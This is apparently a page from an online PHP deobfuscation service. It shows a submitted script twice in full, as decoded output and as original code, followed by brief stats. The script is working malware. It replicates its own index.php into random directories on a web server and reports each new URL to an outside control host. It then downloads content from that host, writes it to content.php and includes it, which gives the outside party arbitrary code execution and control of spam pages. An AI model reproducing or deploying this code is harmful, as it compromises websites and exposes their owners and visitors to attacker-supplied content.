Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $PageNum=5; $isRoot="ck"; $myname="c"."k"; $ControlUrl="http://www.bossklsf...
Decoded Output download
<?php
$PageNum=5;
$isRoot="ck";
$myname="c"."k";
$ControlUrl="http://www.bossklsf.com";
//
function createFolder($path){
if (!file_exists($path)){
createFolder(dirname($path));
mkdir($path, 0777,true);
}
}
function getUrlContent($url) {
$content = @file_get_contents($url);
return $content;
}
//
function CreateFile($filename,$content){
$index=fopen($filename,"w");
fwrite($index,$content);
fclose($index);
}
function MyReadFile($file){
$handle=fopen($file,"r");
$con=fread($handle,filesize($file));
fclose($handle);
return $con;
}
$webRoot=$_SERVER['DOCUMENT_ROOT'];
//
if((is_file("content.php")) and ($isRoot!=$myname)){
include_once("content.php");
exit();
}
//
$Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI']));
for($i=1;$i<=$PageNum;$i++){
$randMath=rand(1111,9999);
$Urls="";
if($isRoot==$myname){ //
$OtherDir=$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/";
echo "<a href='".$Urls."' target='_blank'>".$Urls."</a></br>";
}else{
$OtherDir="../".$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/";
}
$con=MyReadFile("index.php");
$con=str_ireplace("ck","123",$con);
createFolder($OtherDir); //
CreateFile($OtherDir."/index.php",$con);
getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls);
}
if($isRoot!=$myname){ //
$NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri;
$web="http://".$_SERVER['HTTP_HOST'];
$GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl;
echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web);
if( $FileCon != null ){
CreateFile("content.php",$FileCon);
}
}
?>
Did this file decode correctly?
Original Code
<?php
$PageNum=5;
$isRoot="ck";
$myname="c"."k";
$ControlUrl="http://www.bossklsf.com";
//
function createFolder($path){
if (!file_exists($path)){
createFolder(dirname($path));
mkdir($path, 0777,true);
}
}
function getUrlContent($url) {
$content = @file_get_contents($url);
return $content;
}
//
function CreateFile($filename,$content){
$index=fopen($filename,"w");
fwrite($index,$content);
fclose($index);
}
function MyReadFile($file){
$handle=fopen($file,"r");
$con=fread($handle,filesize($file));
fclose($handle);
return $con;
}
$webRoot=$_SERVER['DOCUMENT_ROOT'];
//
if((is_file("content.php")) and ($isRoot!=$myname)){
include_once("content.php");
exit();
}
//
$Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI']));
for($i=1;$i<=$PageNum;$i++){
$randMath=rand(1111,9999);
$Urls="";
if($isRoot==$myname){ //
$OtherDir=$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/";
echo "<a href='".$Urls."' target='_blank'>".$Urls."</a></br>";
}else{
$OtherDir="../".$randMath;
$Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/";
}
$con=MyReadFile("index.php");
$con=str_ireplace("ck","123",$con);
createFolder($OtherDir); //
CreateFile($OtherDir."/index.php",$con);
getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls);
}
if($isRoot!=$myname){ //
$NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri;
$web="http://".$_SERVER['HTTP_HOST'];
$GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl;
echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web);
if( $FileCon != null ){
CreateFile("content.php",$FileCon);
}
}
?>
Function Calls
| is_file | 1 |
Stats
| MD5 | f79c640e25d885aa7e65b4a1c7e70789 |
| Eval Count | 0 |
| Decode Time | 93 ms |